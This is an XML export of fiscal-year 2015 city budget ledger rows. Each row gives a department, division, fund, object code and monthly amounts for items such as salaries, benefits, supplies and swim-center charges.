<row _id="15195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7080.0</total></row>
<row _id="15196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>419.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>419.0</total></row>
<row _id="15197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="15198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>179595.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>179595.0</total></row>
<row _id="15199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7300.0</total></row>
<row _id="15200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561402.0</object><object_description>CLINICAL SUPERVISION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7385.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7385.0</total></row>
<row _id="15201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1519.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1519.0</total></row>
<row _id="15202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>112449.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112449.0</total></row>
<row _id="15203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1631.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1631.0</total></row>
<row _id="15204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1770.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1770.0</total></row>
<row _id="15205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577580.0</object><object_description>BEACH / PIER REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>172030.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>172030.0</total></row>
<row _id="15206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>45000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="15207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1995.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1995.0</total></row>
<row _id="15208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3580.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3580.0</total></row>
<row _id="15209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19970.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19970.0</total></row>
<row _id="15210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19441.0</total></row>
<row _id="15211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9462.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9462.0</total></row>
<row _id="15212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522850.0</object><object_description>SPECIAL PROJECTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>264680.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>264680.0</total></row>
<row _id="15213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400850.0</object><object_description>SWIM CENTER-SMC</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-255700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-255700.0</total></row>
<row _id="15214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401002.0</object><object_description>SWIM CENTER-REC/LAP SWIM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-188700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-188700.0</total></row>
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<row _id="15216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>488021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>488021.0</total></row>
<row _id="15217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>721.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>721.0</total></row>
<row _id="15218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4196.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4196.0</total></row>
<row _id="15219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>210.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>210.0</total></row>
<row _id="15220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="15221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>921.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>921.0</total></row>
<row _id="15222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2359.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2359.0</total></row>
<row _id="15223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4664.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4664.0</total></row>
<row _id="15224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5310.0</total></row>
<row _id="15225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9548.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9548.0</total></row>
<row _id="15226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1488937.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1488937.0</total></row>
<row _id="15227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1750.0</total></row>
<row _id="15228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5169.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5169.0</total></row>
<row _id="15229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="15230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="15231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5521.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5521.0</total></row>
<row _id="15232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="15233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10200.0</total></row>
<row _id="15234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="15235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1665.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1665.0</total></row>
<row _id="15236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4897.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4897.0</total></row>
<row _id="15237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14351.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14351.0</total></row>
<row _id="15238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>34399.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34399.0</total></row>
<row _id="15239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1018.0</total></row>
<row _id="15240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>23786.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23786.0</total></row>
<row _id="15241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>55000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55000.0</total></row>
<row _id="15242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>37765.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37765.0</total></row>
<row _id="15243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401001.0</object><object_description>SWIM CENTER-GROUP LESSONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-173000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-173000.0</total></row>
